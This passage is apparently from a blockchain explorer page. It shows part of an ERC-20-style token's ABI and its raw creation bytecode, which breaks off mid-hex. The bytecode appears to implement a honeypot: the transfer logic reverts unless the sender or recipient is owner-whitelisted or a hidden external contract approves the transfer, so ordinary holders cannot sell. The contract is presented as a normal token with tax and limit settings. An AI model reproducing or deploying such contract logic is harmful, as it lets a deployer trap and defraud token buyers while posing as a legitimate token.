yable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isAutomateMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTaxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260405162003d7c38038062003d7c833981810160405281019062000029919062001079565b85858482600390816200003d919062001395565b5081600490816200004f919062001395565b5080600560006101000a81548160ff021916908360ff160217905550505050600062000080620006fe60201b60201c565b905080600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020891906200147c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000292573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b891906200147c565b6040518363ffffffff1660e01b8152600401620002d7929190620014bf565b6020604051808303816000875af1158015620002f7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031d91906200147c565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003978160000151600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200070660201b60201c565b80600b60008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155905050600060648260400151346200044b91906200151b565b62000457919062001595565b9050816000015173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015620004a4573d6000803e3d6000fd5b508260000151600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600a8190555060006009819055508460118190555083600a62000510919062001721565b60016200052e61138888620008de60201b620010a31790919060201c565b6200053a919062001772565b6200054691906200151b565b6008819055506200057661271085600a62000562919062001721565b620008de60201b620010a31790919060201c565b8584602001516200058891906200151b565b6200059491906200151b565b600f81905550620005c461271085600a620005b0919062001721565b620008de60201b620010a31790919060201c565b858460400151620005d691906200151b565b620005e291906200151b565b6010819055506200060a620005fc6200093060201b60201c565b60016200095a60201b60201c565b6200063f600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200095a60201b60201c565b62000656826000015160016200095a60201b60201c565b6200066d826020015160016200095a60201b60201c565b620006803060016200095a60201b60201c565b620006b5600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016200095a60201b60201c565b620006f1620006c96200093060201b60201c565b85600a620006d8919062001721565b87620006e591906200151b565b62000aa760201b60201c565b5050505050505062001a79565b600033905090565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036200079b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007929062001834565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508015158273ffffffffffffffffffffffffffffffffffffffff167f4db94fb8c0b6d154694d30f90a6b8e2e640640745257efb299e98339b6e0efd360405160405180910390a3505050565b60006200092883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000c5560201b60201c565b905092915050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200096a620006fe60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f390620018a6565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa98260405162000a9b9190620018e5565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000b19576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000b109062001952565b60405180910390fd5b62000b2d6000838362000cbd60201b60201c565b62000b498160025462000cc260201b620010ed1790919060201c565b60028190555062000ba7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205462000cc260201b620010ed1790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000c49919062001985565b60405180910390a35050565b6000808311829062000c9f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c969190620019e3565b60405180910390fd5b506000838562000cb0919062001595565b9050809150509392505050565b505050565b600080828462000cd3919062001772565b90508381101562000d1b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d129062001a57565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000d8e8262000d43565b810181811067ffffffffffffffff8211171562000db05762000daf62000d54565b5b80604052505050565b600062000dc562000d25565b905062000dd3828262000d83565b919050565b600067ffffffffffffffff82111562000df65762000df562000d54565b5b62000e018262000d43565b9050602081019050919050565b60005b8381101562000e2e57808201518184015260208101905062000e11565b60008484015250505050565b600062000e5162000e4b8462000dd8565b62000db9565b90508281526020810184848401111562000e705762000e6f62000d3e565b5b62000e7d84828562000e0e565b509392505050565b600082601f83011262000e9d5762000e9c62000d39565b5b815162000eaf84826020860162000e3a565b91505092915050565b6000819050919050565b62000ecd8162000eb8565b811462000ed957600080fd5b50565b60008151905062000eed8162000ec2565b92915050565b600060ff82169050919050565b62000f0b8162000ef3565b811462000f1757600080fd5b50565b60008151905062000f2b8162000f00565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000f638262000f36565b9050919050565b62000f758162000f56565b811462000f8157600080fd5b50565b60008151905062000f958162000f6a565b92915050565b60006060828403121562000fb45762000fb362000f31565b5b62000fc0606062000db9565b9050600062000fd28482850162000f84565b600083015250602062000fe88482850162000edc565b602083015250604062000ffe8482850162000edc565b60408301525092915050565b60006060828403121562001023576200102262000f31565b5b6200102f606062000db9565b90506000620010418482850162000f84565b6000830152506020620010578482850162000f84565b60208301525060406200106d8482850162000edc565b60408301525092915050565b60008060008060008061014087890312156200109a576200109962000d2f565b5b600087015167ffffffffffffffff811115620010bb57620010ba62000d34565b5b620010c989828a0162000e85565b965050602087015167ffffffffffffffff811115620010ed57620010ec62000d34565b5b620010fb89828a0162000e85565b95505060406200110e89828a0162000edc565b94505060606200112189828a0162000f1a565b93505060806200113489828a0162000f9b565b92505060e06200114789828a016200100a565b9150509295509295509295565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620011a757607f821691505b602082108103620011bd57620011bc6200115f565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620012277fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620011e8565b620012338683620011e8565b95508019841693508086168417925050509392505050565b6000819050919050565b600062001276620012706200126a8462000eb8565b6200124b565b62000eb8565b9050919050565b6000819050919050565b620012928362001255565b620012aa620012a1826200127d565b848454620011f5565b825550505050565b600090565b620012c1620012b2565b620012ce81848462001287565b505050565b5b81811015620012f657620012ea600082620012b7565b600181019050620012d4565b5050565b601f82111562001345576200130f81620011c3565b6200131a84620011d8565b810160208510156200132a578190505b620013426200133985620011d8565b830182620012d3565b50505b505050565b600082821c905092915050565b60006200136a600019846008026200134a565b1980831691505092915050565b600062001385838362001357565b9150826002028217905092915050565b620013a08262001154565b67ffffffffffffffff811115620013bc57620013bb62000d54565b5b620013c882546200118e565b620013d5828285620012fa565b600060209050601f8311600181146200140d5760008415620013f8578287015190505b62001404858262001377565b86555062001474565b601f1984166200141d86620011c3565b60005b82811015620014475784890151825560018201915060208501945060208101905062001420565b8683101562001467578489015162001463601f89168262001357565b8355505b6001600288020188555050505b505050505050565b60006020828403121562001495576200149462000d2f565b5b6000620014a58482850162000f84565b91505092915050565b620014b98162000f56565b82525050565b6000604082019050620014d66000830185620014ae565b620014e56020830184620014ae565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620015288262000eb8565b9150620015358362000eb8565b9250828202620015458162000eb8565b915082820484148315176200155f576200155e620014ec565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620015a28262000eb8565b9150620015af8362000eb8565b925082620015c257620015c162001566565b5b828204905092915050565b60008160011c9050919050565b6000808291508390505b60018511156200162c57808604811115620016045762001603620014ec565b5b6001851615620016145780820291505b80810290506200162485620015cd565b9450620015e4565b94509492505050565b6000826200164757600190506200171a565b816200165757600090506200171a565b81600181146200167057600281146200167b57620016b1565b60019150506200171a565b60ff84111562001690576200168f620014ec565b5b8360020a915084821115620016aa57620016a9620014ec565b5b506200171a565b5060208310610133831016604e8410600b8410161715620016eb5782820a905083811115620016e557620016e4620014ec565b5b6200171a565b620016fa8484846001620015da565b92509050818404811115620017145762001713620014ec565b5b81810290505b9392505050565b60006200172e8262000eb8565b91506200173b8362000ef3565b92506200176a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001635565b905092915050565b60006200177f8262000eb8565b91506200178c8362000eb8565b9250828201905080821115620017a757620017a6620014ec565b5b92915050565b600082825260208201905092915050565b7f4175746f6d61746564206d61726b6574206d616b65722070616972206973206160008201527f6c72656164792073657420746f20746861742076616c75650000000000000000602082015250565b60006200181c603883620017ad565b91506200182982620017be565b604082019050919050565b600060208201905081810360008301526200184f816200180d565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200188e602083620017ad565b91506200189b8262001856565b602082019050919050565b60006020820190508181036000830152620018c1816200187f565b9050919050565b60008115159050919050565b620018df81620018c8565b82525050565b6000602082019050620018fc6000830184620018d4565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200193a601f83620017ad565b9150620019478262001902565b602082019050919050565b600060208201905081810360008301526200196d816200192b565b9050919050565b6200197f8162000eb8565b82525050565b60006020820190506200199c600083018462001974565b92915050565b6000620019af8262001154565b620019bb8185620017ad565b9350620019cd81856020860162000e0e565b620019d88162000d43565b840191505092915050565b60006020820190508181036000830152620019ff8184620019a2565b905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001a3f601b83620017ad565b915062001a4c8262001a07565b602082019050919050565b6000602082019050818103600083015262001a728162001a30565b9050919050565b6122f38062001a896000396000f3fe60806040526004361061016a5760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063cf1bfec311610064578063cf1bfec314610551578063d36e82391461057c578063dd62ed3e146105a7578063f2fde38b146105e457610171565b8063a9059cbb146104c0578063aa4bde28146104fd578063c02466681461052857610171565b8063751039fc146103ae5780638c0b5e22146103c55780638c4f960f146103f05780638da5cb5b1461042d57806395d89b4114610458578063a457c2d71461048357610171565b8063313ce56711610123578063313ce5671461029c57806339509351146102c757806349bd5a5e146103045780636644206b1461032f57806370a082311461035a578063715018a61461039757610171565b806306fdde0314610176578063095ea7b3146101a15780631694505e146101de57806318160ddd1461020957806323b872dd146102345780632d3e474a1461027157610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61060d565b6040516101989190611906565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906119c1565b61069f565b6040516101d59190611a1c565b60405180910390f35b3480156101ea57600080fd5b506101f36106bd565b6040516102009190611a96565b60405180910390f35b34801561021557600080fd5b5061021e6106e3565b60405161022b9190611ac0565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190611adb565b6106ed565b6040516102689190611a1c565b60405180910390f35b34801561027d57600080fd5b506102866107c6565b6040516102939190611b3d565b60405180910390f35b3480156102a857600080fd5b506102b16107ec565b6040516102be9190611b74565b60405180910390f35b3480156102d357600080fd5b506102ee60048036038101906102e991906119c1565b610803565b6040516102fb9190611a1c565b60405180910390f35b34801561031057600080fd5b506103196108b6565b6040516103269190611b3d565b60405180910390f35b34801561033b57600080fd5b506103446108dc565b6040516103519190611ac0565b60405180910390f35b34801561036657600080fd5b50610381600480360381019061037c9190611b8f565b6108e2565b60405161038e9190611ac0565b60405180910390f35b3480156103a357600080fd5b506103ac61092a565b005b3480156103ba57600080fd5b506103c3610a82565b005b3480156103d157600080fd5b506103da610b37565b6040516103e79190611ac0565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190611b8f565b610b3d565b6040516104249190611a1c565b60405180910390f35b34801561043957600080fd5b50610442610b5d565b60405161044f9190611b3d565b60405180910390f35b34801561046457600080fd5b5061046d610b87565b60405161047a9190611906565b60405180910390f35b34801561048f57600080fd5b506104aa60048036038101906104a591906119c1565b610c19565b6040516104b79190611a1c565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e291906119c1565b610ce6565b6040516104f49190611a1c565b60405180910390f35b34801561050957600080fd5b50610512610d04565b60405161051f9190611ac0565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190611be8565b610d0a565b005b34801561055d57600080fd5b50610566610e4a565b6040516105739190611ac0565b60405180910390f35b34801561058857600080fd5b50610591610e50565b60405161059e9190611ac0565b60405180910390f35b3480156105b357600080fd5b506105ce60048036038101906105c99190611c28565b610e56565b6040516105db9190611ac0565b60405180910390f35b3480156105f057600080fd5b5061060b60048036038101906106069190611b8f565b610edd565b005b60606003805461061c90611c97565b80601f016020809104026020016040519081016040528092919081815260200182805461064890611c97565b80156106955780601f1061066a57610100808354040283529160200191610695565b820191906000526020600020905b81548152906001019060200180831161067857829003601f168201915b5050505050905090565b60006106b36106ac61114b565b8484611153565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b60006106fa84848461131c565b6107bb8461070661114b565b6107b68560405180606001604052806028815260200161227160289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061076c61114b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113bf9092919063ffffffff16565b611153565b600190509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900460ff16905090565b60006108ac61081061114b565b846108a7856001600061082161114b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ed90919063ffffffff16565b611153565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61093261114b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b890611d14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a8a61114b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1090611d14565b60405180910390fd5b610b216106e3565b600f81905550610b2f6106e3565b601081905550565b600f5481565b60136020528060005260406000206000915054906101000a900460ff1681565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b9690611c97565b80601f0160208091040260200160405190810160405280929190818152602001828054610bc290611c97565b8015610c0f5780601f10610be457610100808354040283529160200191610c0f565b820191906000526020600020905b815481529060010190602001808311610bf257829003601f168201915b5050505050905090565b6000610cdc610c2661114b565b84610cd7856040518060600160405280602581526020016122996025913960016000610c5061114b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113bf9092919063ffffffff16565b611153565b6001905092915050565b6000610cfa610cf361114b565b848461131c565b6001905092915050565b60105481565b610d1261114b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9890611d14565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f2d43abd87b27cee7b0aa8c6f7e0b4a3247b683262a83cbc2318b0df398a49aa982604051610e3e9190611a1c565b60405180910390a25050565b60095481565b60085481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ee561114b565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6b90611d14565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610fe3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fda90611da6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611423565b905092915050565b60008082846110fc9190611df5565b905083811015611141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113890611e75565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990611f07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611231576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122890611f99565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161130f9190611ac0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480611384575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b8061139557506113948383611486565b5b806113a05750600081145b156113b5576113b08383836115de565b6113ba565b600080fd5b505050565b6000838311158290611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe9190611906565b60405180910390fd5b50600083856114169190611fb9565b9050809150509392505050565b6000808311829061146a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114619190611906565b60405180910390fd5b5060008385611479919061201c565b9050809150509392505050565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115295750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806115d657506000600b60010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cc5489df85856040518363ffffffff1660e01b815260040161159192919061204d565b6020604051808303816000875af11580156115b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d4919061208b565b115b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361164d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116449061212a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b3906121bc565b60405180910390fd5b6116c7838383611871565b6117328160405180606001604052806026815260200161224b602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113bf9092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117c5816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110ed90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118649190611ac0565b60405180910390a3505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156118b0578082015181840152602081019050611895565b60008484015250505050565b6000601f19601f8301169050919050565b60006118d882611876565b6118e28185611881565b93506118f2818560208601611892565b6118fb816118bc565b840191505092915050565b6000602082019050818103600083015261192081846118cd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119588261192d565b9050919050565b6119688161194d565b811461197357600080fd5b50565b6000813590506119858161195f565b92915050565b6000819050919050565b61199e8161198b565b81146119a957600080fd5b50565b6000813590506119bb81611995565b92915050565b600080604083850312156119d8576119d7611928565b5b60006119e685828601611976565b92505060206119f7858286016119ac565b9150509250929050565b60008115159050919050565b611a1681611a01565b82525050565b6000602082019050611a316000830184611a0d565b92915050565b6000819050919050565b6000611a5c611a57611a528461192d565b611a37565b61192d565b9050919050565b6000611a6e82611a41565b9050919050565b6000611a8082611a63565b9050919050565b611a9081611a75565b82525050565b6000602082019050611aab6000830184611a87565b92915050565b611aba8161198b565b82525050565b6000602082019050611ad56000830184611ab1565b92915050565b600080600060608486031215611af457611af3611928565b5b6000611b0286828701611976565b9350506020611b1386828701611976565b9250506040611b24868287016119ac565b9150509250925092565b611b378161194d565b82525050565b6000602082019050611b526000830184611b2e565b92915050565b600060ff82169050919050565b611b6e81611b58565b82525050565b6000602082019050611b896000830184611b65565b92915050565b600060208284031215611ba557611ba4611928565b5b6000611bb384828501611976565b91505092915050565b611bc581611a01565b8114611bd057600080fd5b50565b600081359050611be281611bbc565b92915050565b60008060408385031215611bff57611bfe611928565b5b6000611c0d85828601611976565b9250506020611c1e85828601611bd3565b9150509250929050565b60008060408385031215611c3f57611c3e611928565b5b6000611c4d85828601611976565b9250506020611c5e85828601611976565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611caf57607f821691505b602082108103611cc257611cc1611c68565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611cfe602083611881565b9150611d0982611cc8565b602082019050919050565b60006020820190508181036000830152611d2d81611cf1565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611d90602683611881565b9150611d9b82611d34565b604082019050919050565b60006020820190508181036000830152611dbf81611d83565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e008261198b565b9150611e0b8361198b565b9250828201905080821115611e2357611e22611dc6565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611e5f601b83611881565b9150611e6a82611e29565b602082019050919050565b60006020820190508181036000830152611e8e81611e52565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ef1602483611881565b9150611efc82611e95565b604082019050919050565b60006020820190508181036000830152611f2081611ee4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f83602283611881565b9150611f8e82611f27565b604082019050919050565b60006020820190508181036000830152611fb281611f76565b9050919050565b6000611fc48261198b565b9150611fcf8361198b565b9250828203905081811115611fe757611fe6611dc6565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006120278261198b565b91506120328361198b565b92508261204257612041611fed565b5b828204905092915050565b60006040820190506120626000830185611b2e565b61206f6020830184611b2e565b9392505050565b60008151905061208581611995565b92915050565b6000602082840312156120a1576120a0611928565b5b60006120af84828501612076565b91505092915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612114602583611881565b915061211f826120b8565b604082019050919050565b6